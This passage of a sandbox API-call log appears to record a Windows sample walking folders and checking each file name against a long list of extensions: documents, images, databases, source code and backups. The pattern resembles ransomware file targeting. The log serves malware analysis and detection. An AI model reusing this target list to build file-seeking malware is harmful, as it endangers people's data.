lpString2="a.rtf") returned -1 [0094.327] lstrlenW (lpString=".php4") returned 5 [0094.327] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0094.327] lstrlenW (lpString=".php5") returned 5 [0094.327] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0094.327] lstrlenW (lpString=".phtml") returned 6 [0094.327] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0094.327] lstrlenW (lpString=".pict") returned 5 [0094.327] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0094.327] lstrlenW (lpString=".pl") returned 3 [0094.327] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0094.327] lstrlenW (lpString=".pls") returned 4 [0094.327] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0094.327] lstrlenW (lpString=".pm") returned 3 [0094.327] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0094.328] lstrlenW (lpString=".png") returned 4 [0094.328] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0094.328] lstrlenW (lpString=".pnm") returned 4 [0094.328] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0094.328] lstrlenW (lpString=".pot") returned 4 [0094.328] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0094.328] lstrlenW (lpString=".potm") returned 5 [0094.328] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0094.328] lstrlenW (lpString=".potx") returned 5 [0094.328] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0094.328] lstrlenW (lpString=".ppa") returned 4 [0094.328] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0094.328] lstrlenW (lpString=".ppam") returned 5 [0094.328] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0094.328] lstrlenW (lpString=".ppm") returned 4 [0094.328] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0094.328] lstrlenW (lpString=".pps") returned 4 [0094.328] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0094.328] lstrlenW (lpString=".ppsm") returned 5 [0094.328] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0094.328] lstrlenW (lpString=".ppt") returned 4 [0094.328] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0094.328] lstrlenW (lpString=".pptm") returned 5 [0094.328] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0094.328] lstrlenW (lpString=".pptx") returned 5 [0094.328] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0094.328] lstrlenW (lpString=".prn") returned 4 [0094.328] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0094.328] lstrlenW (lpString=".ps") returned 3 [0094.329] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0094.329] lstrlenW (lpString=".psb") returned 4 [0094.329] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0094.329] lstrlenW (lpString=".psd") returned 4 [0094.329] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0094.329] lstrlenW (lpString=".pst") returned 4 [0094.329] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0094.329] lstrlenW (lpString=".ptx") returned 4 [0094.329] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0094.329] lstrlenW (lpString=".pub") returned 4 [0094.329] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0094.329] lstrlenW (lpString=".pwm") returned 4 [0094.329] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0094.329] lstrlenW (lpString=".pxr") returned 4 [0094.329] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0094.329] FindNextFileW (in: hFindFile=0x3e50700, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0094.329] FindNextFileW (in: hFindFile=0x3e50700, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0094.330] FindNextFileW (in: hFindFile=0x3e50700, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0094.330] FindClose (in: hFindFile=0x3e50700 | out: hFindFile=0x3e50700) returned 1 [0094.330] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0094.330] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0094.330] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0094.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028") returned 26 [0094.330] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50380 [0094.332] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.332] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0094.332] lstrlenW (lpString="eula.rtf") returned 8 [0094.332] lstrlenW (lpString=".1cd") returned 4 [0094.332] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0094.332] lstrlenW (lpString=".3ds") returned 4 [0094.332] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0094.332] lstrlenW (lpString=".3fr") returned 4 [0094.332] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0094.332] lstrlenW (lpString=".3g2") returned 4 [0094.332] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0094.332] lstrlenW (lpString=".3gp") returned 4 [0094.332] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0094.332] lstrlenW (lpString=".7z") returned 3 [0094.332] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0094.332] lstrlenW (lpString=".accda") returned 6 [0094.332] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0094.332] lstrlenW (lpString=".accdb") returned 6 [0094.332] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0094.332] lstrlenW (lpString=".accdc") returned 6 [0094.332] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0094.332] lstrlenW (lpString=".accde") returned 6 [0094.332] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0094.332] lstrlenW (lpString=".accdt") returned 6 [0094.333] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0094.333] lstrlenW (lpString=".accdw") returned 6 [0094.333] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0094.333] lstrlenW (lpString=".adb") returned 4 [0094.333] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0094.333] lstrlenW (lpString=".adp") returned 4 [0094.333] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0094.333] lstrlenW (lpString=".ai") returned 3 [0094.333] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0094.333] lstrlenW (lpString=".ai3") returned 4 [0094.333] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0094.333] lstrlenW (lpString=".ai4") returned 4 [0094.333] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0094.333] lstrlenW (lpString=".ai5") returned 4 [0094.333] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0094.333] lstrlenW (lpString=".ai6") returned 4 [0094.333] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0094.333] lstrlenW (lpString=".ai7") returned 4 [0094.333] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0094.333] lstrlenW (lpString=".ai8") returned 4 [0094.333] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0094.333] lstrlenW (lpString=".anim") returned 5 [0094.333] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0094.333] lstrlenW (lpString=".arw") returned 4 [0094.333] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0094.333] lstrlenW (lpString=".as") returned 3 [0094.333] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0094.333] lstrlenW (lpString=".asa") returned 4 [0094.334] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0094.334] lstrlenW (lpString=".asc") returned 4 [0094.334] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0094.334] lstrlenW (lpString=".ascx") returned 5 [0094.334] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0094.334] lstrlenW (lpString=".asm") returned 4 [0094.334] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0094.334] lstrlenW (lpString=".asmx") returned 5 [0094.334] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0094.334] lstrlenW (lpString=".asp") returned 4 [0094.334] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0094.334] lstrlenW (lpString=".aspx") returned 5 [0094.334] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0094.334] lstrlenW (lpString=".asr") returned 4 [0094.334] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0094.334] lstrlenW (lpString=".asx") returned 4 [0094.334] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0094.334] lstrlenW (lpString=".avi") returned 4 [0094.334] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0094.334] lstrlenW (lpString=".avs") returned 4 [0094.334] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0094.334] lstrlenW (lpString=".backup") returned 7 [0094.334] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0094.334] lstrlenW (lpString=".bak") returned 4 [0094.334] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0094.334] lstrlenW (lpString=".bay") returned 4 [0094.334] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0094.334] lstrlenW (lpString=".bd") returned 3 [0094.335] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0094.335] lstrlenW (lpString=".bin") returned 4 [0094.335] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0094.336] lstrlenW (lpString=".bmp") returned 4 [0094.336] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0094.336] lstrlenW (lpString=".bz2") returned 4 [0094.336] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0094.336] lstrlenW (lpString=".c") returned 2 [0094.336] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0094.336] lstrlenW (lpString=".cdr") returned 4 [0094.336] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0094.336] lstrlenW (lpString=".cer") returned 4 [0094.337] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0094.337] lstrlenW (lpString=".cf") returned 3 [0094.337] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0094.337] lstrlenW (lpString=".cfc") returned 4 [0094.337] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0094.337] lstrlenW (lpString=".cfm") returned 4 [0094.337] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0094.337] lstrlenW (lpString=".cfml") returned 5 [0094.337] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0094.337] lstrlenW (lpString=".cfu") returned 4 [0094.337] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0094.337] lstrlenW (lpString=".chm") returned 4 [0094.337] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0094.337] lstrlenW (lpString=".cin") returned 4 [0094.337] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0094.337] lstrlenW (lpString=".class") returned 6 [0094.337] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0094.337] lstrlenW (lpString=".clx") returned 4 [0094.337] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0094.337] lstrlenW (lpString=".config") returned 7 [0094.337] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0094.337] lstrlenW (lpString=".cpp") returned 4 [0094.337] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0094.337] lstrlenW (lpString=".cr2") returned 4 [0094.337] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0094.337] lstrlenW (lpString=".crt") returned 4 [0094.337] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0094.337] lstrlenW (lpString=".crw") returned 4 [0094.338] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0094.338] lstrlenW (lpString=".cs") returned 3 [0094.338] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0094.338] lstrlenW (lpString=".css") returned 4 [0094.338] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0094.338] lstrlenW (lpString=".csv") returned 4 [0094.338] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0094.338] lstrlenW (lpString=".cub") returned 4 [0094.338] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0094.338] lstrlenW (lpString=".dae") returned 4 [0094.338] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0094.338] lstrlenW (lpString=".dat") returned 4 [0094.338] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0094.338] lstrlenW (lpString=".db") returned 3 [0094.338] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0094.338] lstrlenW (lpString=".dbf") returned 4 [0094.338] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0094.338] lstrlenW (lpString=".dbx") returned 4 [0094.338] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0094.338] lstrlenW (lpString=".dc3") returned 4 [0094.338] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0094.338] lstrlenW (lpString=".dcm") returned 4 [0094.338] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0094.338] lstrlenW (lpString=".dcr") returned 4 [0094.338] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0094.338] lstrlenW (lpString=".der") returned 4 [0094.338] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0094.338] lstrlenW (lpString=".dib") returned 4 [0094.338] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0094.339] lstrlenW (lpString=".dic") returned 4 [0094.339] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0094.339] lstrlenW (lpString=".dif") returned 4 [0094.339] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0094.339] lstrlenW (lpString=".divx") returned 5 [0094.339] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0094.339] lstrlenW (lpString=".djvu") returned 5 [0094.339] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0094.339] lstrlenW (lpString=".dng") returned 4 [0094.339] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0094.339] lstrlenW (lpString=".doc") returned 4 [0094.339] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0094.339] lstrlenW (lpString=".docm") returned 5 [0094.339] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0094.339] lstrlenW (lpString=".docx") returned 5 [0094.339] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0094.339] lstrlenW (lpString=".dot") returned 4 [0094.339] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0094.339] lstrlenW (lpString=".dotm") returned 5 [0094.339] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0094.339] lstrlenW (lpString=".dotx") returned 5 [0094.339] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0094.339] lstrlenW (lpString=".dpx") returned 4 [0094.339] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0094.339] lstrlenW (lpString=".dqy") returned 4 [0094.339] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0094.339] lstrlenW (lpString=".dsn") returned 4 [0094.339] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0094.340] lstrlenW (lpString=".dt") returned 3 [0094.340] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0094.340] lstrlenW (lpString=".dtd") returned 4 [0094.340] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0094.340] lstrlenW (lpString=".dwg") returned 4 [0094.340] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0094.340] lstrlenW (lpString=".dwt") returned 4 [0094.340] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0094.340] lstrlenW (lpString=".dx") returned 3 [0094.340] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0094.340] lstrlenW (lpString=".dxf") returned 4 [0094.340] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0094.340] lstrlenW (lpString=".edml") returned 5 [0094.695] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0094.695] lstrlenW (lpString=".efd") returned 4 [0094.695] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0094.696] lstrlenW (lpString=".elf") returned 4 [0094.696] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0094.698] lstrlenW (lpString=".emf") returned 4 [0094.698] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0094.698] lstrlenW (lpString=".emz") returned 4 [0094.698] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0094.698] lstrlenW (lpString=".epf") returned 4 [0094.698] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0094.699] lstrlenW (lpString=".eps") returned 4 [0094.699] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0094.699] lstrlenW (lpString=".epsf") returned 5 [0094.699] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0094.699] lstrlenW (lpString=".epsp") returned 5 [0094.699] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0094.699] lstrlenW (lpString=".erf") returned 4 [0094.699] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0094.699] lstrlenW (lpString=".exr") returned 4 [0094.699] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0094.699] lstrlenW (lpString=".f4v") returned 4 [0094.699] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0094.699] lstrlenW (lpString=".fido") returned 5 [0094.699] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0094.699] lstrlenW (lpString=".flm") returned 4 [0094.699] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0094.699] lstrlenW (lpString=".flv") returned 4 [0094.699] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0094.699] lstrlenW (lpString=".frm") returned 4 [0094.699] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0094.699] lstrlenW (lpString=".fxg") returned 4 [0094.699] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0094.699] lstrlenW (lpString=".geo") returned 4 [0094.699] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0094.699] lstrlenW (lpString=".gif") returned 4 [0094.700] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0094.700] lstrlenW (lpString=".grs") returned 4 [0094.700] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0094.700] lstrlenW (lpString=".gz") returned 3 [0094.700] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0094.700] lstrlenW (lpString=".h") returned 2 [0094.700] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0094.700] lstrlenW (lpString=".hdr") returned 4 [0094.700] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0094.700] lstrlenW (lpString=".hpp") returned 4 [0094.700] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0094.700] lstrlenW (lpString=".hta") returned 4 [0094.700] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0094.700] lstrlenW (lpString=".htc") returned 4 [0094.700] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0094.700] lstrlenW (lpString=".htm") returned 4 [0094.700] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0094.700] lstrlenW (lpString=".html") returned 5 [0094.700] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0094.700] lstrlenW (lpString=".icb") returned 4 [0094.700] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0094.700] lstrlenW (lpString=".ics") returned 4 [0094.700] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0094.700] lstrlenW (lpString=".iff") returned 4 [0094.701] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0094.701] lstrlenW (lpString=".inc") returned 4 [0094.701] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0094.701] lstrlenW (lpString=".indd") returned 5 [0094.701] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0094.701] lstrlenW (lpString=".ini") returned 4 [0094.701] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0094.701] lstrlenW (lpString=".iqy") returned 4 [0094.701] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0094.701] lstrlenW (lpString=".j2c") returned 4 [0094.701] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0094.701] lstrlenW (lpString=".j2k") returned 4 [0094.701] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0094.701] lstrlenW (lpString=".java") returned 5 [0094.701] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0094.701] lstrlenW (lpString=".jp2") returned 4 [0094.701] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0094.701] lstrlenW (lpString=".jpc") returned 4 [0094.701] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0094.701] lstrlenW (lpString=".jpe") returned 4 [0094.701] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0094.701] lstrlenW (lpString=".jpeg") returned 5 [0094.701] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0094.701] lstrlenW (lpString=".jpf") returned 4 [0094.701] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0094.701] lstrlenW (lpString=".jpg") returned 4 [0094.701] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0094.701] lstrlenW (lpString=".jpx") returned 4 [0094.701] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0094.702] lstrlenW (lpString=".js") returned 3 [0094.702] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0094.702] lstrlenW (lpString=".jsf") returned 4 [0094.702] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0094.702] lstrlenW (lpString=".json") returned 5 [0094.702] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0094.702] lstrlenW (lpString=".jsp") returned 4 [0094.702] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0094.702] lstrlenW (lpString=".kdc") returned 4 [0094.702] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0094.702] lstrlenW (lpString=".kmz") returned 4 [0094.702] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0094.702] lstrlenW (lpString=".kwm") returned 4 [0094.702] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0094.702] lstrlenW (lpString=".lasso") returned 6 [0094.702] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0094.702] lstrlenW (lpString=".lbi") returned 4 [0094.702] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0094.702] lstrlenW (lpString=".lgf") returned 4 [0094.702] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0094.702] lstrlenW (lpString=".lgp") returned 4 [0094.702] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0094.702] lstrlenW (lpString=".log") returned 4 [0094.702] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0094.702] lstrlenW (lpString=".m1v") returned 4 [0094.702] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0094.702] lstrlenW (lpString=".m4a") returned 4 [0094.702] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0094.703] lstrlenW (lpString=".m4v") returned 4 [0094.703] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0094.703] lstrlenW (lpString=".max") returned 4 [0094.703] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0094.703] lstrlenW (lpString=".md") returned 3 [0094.703] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0094.703] lstrlenW (lpString=".mda") returned 4 [0094.703] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0094.703] lstrlenW (lpString=".mdb") returned 4 [0094.703] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0094.703] lstrlenW (lpString=".mde") returned 4 [0094.703] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0094.703] lstrlenW (lpString=".mdf") returned 4 [0094.703] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0094.703] lstrlenW (lpString=".mdw") returned 4 [0094.703] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0094.703] lstrlenW (lpString=".mef") returned 4 